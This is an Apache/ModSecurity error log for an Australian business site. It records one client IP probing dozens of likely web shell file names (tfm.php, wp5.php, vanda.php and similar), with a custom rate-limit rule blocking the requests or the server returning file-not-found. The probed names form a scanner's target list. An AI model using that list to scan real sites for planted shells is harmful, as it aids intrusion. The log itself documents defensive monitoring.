[Sat Mar 28 07:52:34.931077 2026] [:error] [pid 64861:tid 64938] [client 20.220.9.32:27622] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5e0a.php"] [unique_id "accYQuxK22_lUN2kvnVtUgAAAIM"]
[Sat Mar 28 07:52:36.342270 2026] [:error] [pid 43579:tid 43620] [client 20.220.9.32:27626] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "accYRCRqN4JVI8gB7AmVlgAAAow"]
[Sat Mar 28 07:52:37.785057 2026] [:error] [pid 64861:tid 64940] [client 20.220.9.32:27600] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "accYRexK22_lUN2kvnVtWQAAAIU"]
[Sat Mar 28 07:52:39.218464 2026] [:error] [pid 64860:tid 64914] [client 20.220.9.32:27624] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "accYRxkU3N0pg_4aEL_j9AAAAEY"]
[Sat Mar 28 07:52:40.642319 2026] [:error] [pid 34631:tid 34674] [client 20.220.9.32:27485] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "accYSDtzjMMS6kojpeQ2wQAAAc4"]
[Sat Mar 28 07:52:42.063806 2026] [:error] [pid 34631:tid 34684] [client 20.220.9.32:27575] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYSjtzjMMS6kojpeQ2xAAAAdg"]
[Sat Mar 28 07:52:43.483777 2026] [:error] [pid 43579:tid 43620] [client 20.220.9.32:27639] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYSyRqN4JVI8gB7AmVoAAAAow"]
[Sat Mar 28 07:52:44.907940 2026] [:error] [pid 43547:tid 43556] [client 20.220.9.32:27524] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYTD4ZEfdetXP-9aC1AQAAAgc"]
[Sat Mar 28 07:52:46.328468 2026] [:error] [pid 43579:tid 43629] [client 20.220.9.32:27544] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYTiRqN4JVI8gB7AmVpAAAApU"]
[Sat Mar 28 07:52:47.751691 2026] [:error] [pid 2877:tid 2879] [client 20.220.9.32:27558] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accYT7gM4xL1Xj409YTerAAAAQA"]
[Sat Mar 28 07:52:49.178527 2026] [:error] [pid 64860:tid 64912] [client 20.220.9.32:27614] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accYURkU3N0pg_4aEL_kBwAAAEQ"]
[Sat Mar 28 07:52:50.613595 2026] [:error] [pid 43547:tid 43573] [client 20.220.9.32:27602] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accYUj4ZEfdetXP-9aC1BQAAAhg"]
[Sat Mar 28 07:52:52.032834 2026] [:error] [pid 43578:tid 43594] [client 20.220.9.32:27566] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accYVHNG2YdGm41aN8LjbgAAAk0"]
[Sat Mar 28 07:52:53.460164 2026] [:error] [pid 43578:tid 43603] [client 20.220.9.32:27645] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "accYVXNG2YdGm41aN8LjcAAAAlY"]
[Sat Mar 28 07:52:54.877068 2026] [:error] [pid 64861:tid 64938] [client 20.220.9.32:27541] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "accYVuxK22_lUN2kvnVtegAAAIM"]
[Sat Mar 28 07:52:56.312522 2026] [:error] [pid 43579:tid 43632] [client 20.220.9.32:27623] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "accYWCRqN4JVI8gB7AmVvgAAApg"]
[Sat Mar 28 07:52:57.737416 2026] [:error] [pid 64861:tid 64955] [client 20.220.9.32:27458] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8573.php"] [unique_id "accYWexK22_lUN2kvnVthQAAAJQ"]
[Sat Mar 28 07:52:59.190481 2026] [:error] [pid 64861:tid 64939] [client 20.220.9.32:27633] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "accYW-xK22_lUN2kvnVtjwAAAIQ"]
[Sat Mar 28 07:53:00.661251 2026] [:error] [pid 64861:tid 64946] [client 20.220.9.32:27619] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "accYXOxK22_lUN2kvnVtkQAAAIs"]
[Sat Mar 28 07:53:02.085898 2026] [:error] [pid 34631:tid 34679] [client 20.220.9.32:27570] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "accYXjtzjMMS6kojpeQ21wAAAdM"]
[Sat Mar 28 07:53:03.523809 2026] [:error] [pid 43579:tid 43628] [client 20.220.9.32:27519] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ne2026.php"] [unique_id "accYXyRqN4JVI8gB7AmVyAAAApQ"]
[Sat Mar 28 07:53:04.942446 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27642] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "accYYBkU3N0pg_4aEL_kIwAAAFI"]
[Sat Mar 28 07:53:06.377870 2026] [:error] [pid 64861:tid 64950] [client 20.220.9.32:27457] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "accYYuxK22_lUN2kvnVtlwAAAI8"]
[Sat Mar 28 07:53:07.811383 2026] [:error] [pid 34631:tid 34660] [client 20.220.9.32:27612] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "accYYztzjMMS6kojpeQ25AAAAcA"]
[Sat Mar 28 07:53:09.255578 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27548] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "accYZRkU3N0pg_4aEL_kLQAAAFc"]
[Sat Mar 28 07:53:10.691803 2026] [:error] [pid 34631:tid 34675] [client 20.220.9.32:27609] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "accYZjtzjMMS6kojpeQ26QAAAc8"]
[Sat Mar 28 07:53:12.119032 2026] [:error] [pid 34597:tid 34615] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Mar 28 07:53:12.327488 2026] [:error] [pid 34597:tid 34601] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/tool.php
[Sat Mar 28 07:53:12.556966 2026] [:error] [pid 34597:tid 34602] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/tt.php
[Sat Mar 28 07:53:13.379630 2026] [:error] [pid 34597:tid 34610] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Sat Mar 28 07:53:13.588089 2026] [:error] [pid 34597:tid 34611] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/ccs.php
[Sat Mar 28 07:53:13.795088 2026] [:error] [pid 34597:tid 34613] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sat Mar 28 07:53:14.005183 2026] [:error] [pid 34597:tid 34625] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/green.php
[Sat Mar 28 07:53:14.213532 2026] [:error] [pid 34597:tid 34623] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sat Mar 28 07:53:14.421230 2026] [:error] [pid 34597:tid 34607] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sat Mar 28 07:53:14.629631 2026] [:error] [pid 34597:tid 34614] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/inege.php
[Sat Mar 28 07:53:14.839509 2026] [:error] [pid 34597:tid 34605] [client 20.220.9.32:27462] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-104.php
[Sat Mar 28 07:53:15.045058 2026] [:error] [pid 34597:tid 34618] [client 20.220.9.32:27462] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "accYa4luI7-e5s1cafclxgAAAVE"]
[Sat Mar 28 07:53:16.479680 2026] [:error] [pid 34597:tid 34606] [client 20.220.9.32:27522] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "accYbIluI7-e5s1cafclxwAAAUU"]
[Sat Mar 28 07:53:17.917724 2026] [:error] [pid 64860:tid 64921] [client 20.220.9.32:27589] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "accYbRkU3N0pg_4aEL_kVQAAAE0"]
[Sat Mar 28 07:53:19.369232 2026] [:error] [pid 64860:tid 64909] [client 20.220.9.32:27549] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "accYbxkU3N0pg_4aEL_kWgAAAEE"]
[Sat Mar 28 07:53:20.793075 2026] [:error] [pid 2877:tid 2902] [client 20.220.9.32:27563] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "accYcLgM4xL1Xj409YTeuAAAARc"]
[Sat Mar 28 07:53:22.231975 2026] [:error] [pid 64859:tid 64899] [client 20.220.9.32:27537] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "accYcm3qEBHXq3rHdBmvvAAAABI"]
[Sat Mar 28 07:53:23.655812 2026] [:error] [pid 43547:tid 43570] [client 20.220.9.32:27482] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "accYcz4ZEfdetXP-9aC1DAAAAhU"]
[Sat Mar 28 07:53:25.082824 2026] [:error] [pid 34597:tid 34607] [client 20.220.9.32:27495] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "accYdYluI7-e5s1cafcl1AAAAUY"]
[Sat Mar 28 07:53:26.510438 2026] [:error] [pid 34631:tid 34667] [client 20.220.9.32:27543] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "accYdjtzjMMS6kojpeQ2-wAAAcc"]
[Sat Mar 28 07:53:27.936924 2026] [:error] [pid 2877:tid 2895] [client 20.220.9.32:27587] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "accYd7gM4xL1Xj409YTevwAAARA"]
[Sat Mar 28 07:53:29.358686 2026] [:error] [pid 43579:tid 43627] [client 20.220.9.32:27554] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "accYeSRqN4JVI8gB7AmV2wAAApM"]
[Sat Mar 28 07:53:30.788773 2026] [:error] [pid 64966:tid 64992] [client 20.220.9.32:27486] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "accYetfSvF5AFfSuKxX4jAAAANM"]
[Sat Mar 28 07:53:32.220337 2026] [:error] [pid 43578:tid 43590] [client 20.220.9.32:27631] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "accYfHNG2YdGm41aN8LjhQAAAkk"]
[Sat Mar 28 07:53:33.640592 2026] [:error] [pid 34631:tid 34663] [client 20.220.9.32:27547] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "accYfTtzjMMS6kojpeQ3CwAAAcM"]
[Sat Mar 28 07:53:35.113202 2026] [:error] [pid 43578:tid 43593] [client 20.220.9.32:27525] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "accYf3NG2YdGm41aN8LjjgAAAkw"]
[Sat Mar 28 07:53:36.533181 2026] [:error] [pid 2877:tid 2902] [client 20.220.9.32:27568] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ajax.php"] [unique_id "accYgLgM4xL1Xj409YTexAAAARc"]
[Sat Mar 28 07:53:37.953470 2026] [:error] [pid 64860:tid 64911] [client 20.220.9.32:27593] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYgRkU3N0pg_4aEL_kaAAAAEM"]
[Sat Mar 28 07:53:39.407555 2026] [:error] [pid 64861:tid 64935] [client 20.220.9.32:27494] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYg-xK22_lUN2kvnVtsgAAAIA"]
[Sat Mar 28 07:53:40.831049 2026] [:error] [pid 64861:tid 64939] [client 20.220.9.32:27581] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYhOxK22_lUN2kvnVtvQAAAIQ"]
[Sat Mar 28 07:53:42.261605 2026] [:error] [pid 34597:tid 34625] [client 20.220.9.32:27539] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tfm.php"] [unique_id "accYholuI7-e5s1cafcl6gAAAVg"]
[Sat Mar 28 07:53:43.741894 2026] [:error] [pid 34597:tid 34619] [client 20.220.9.32:27588] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "accYh4luI7-e5s1cafcl8QAAAVI"]
[Sat Mar 28 07:53:45.175970 2026] [:error] [pid 34597:tid 34622] [client 20.220.9.32:27590] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "accYiYluI7-e5s1cafcl8gAAAVU"]
[Sat Mar 28 07:53:46.597169 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27466] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "accYihkU3N0pg_4aEL_kfwAAAFc"]
[Sat Mar 28 07:53:48.068885 2026] [:error] [pid 64860:tid 64920] [client 20.220.9.32:27503] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "accYjBkU3N0pg_4aEL_khwAAAEw"]
[Sat Mar 28 07:53:49.494839 2026] [:error] [pid 34631:tid 34663] [client 20.220.9.32:27564] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "accYjTtzjMMS6kojpeQ3MAAAAcM"]
[Sat Mar 28 07:53:50.921135 2026] [:error] [pid 64860:tid 64931] [client 20.220.9.32:27632] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vanda.php"] [unique_id "accYjhkU3N0pg_4aEL_kkwAAAFc"]
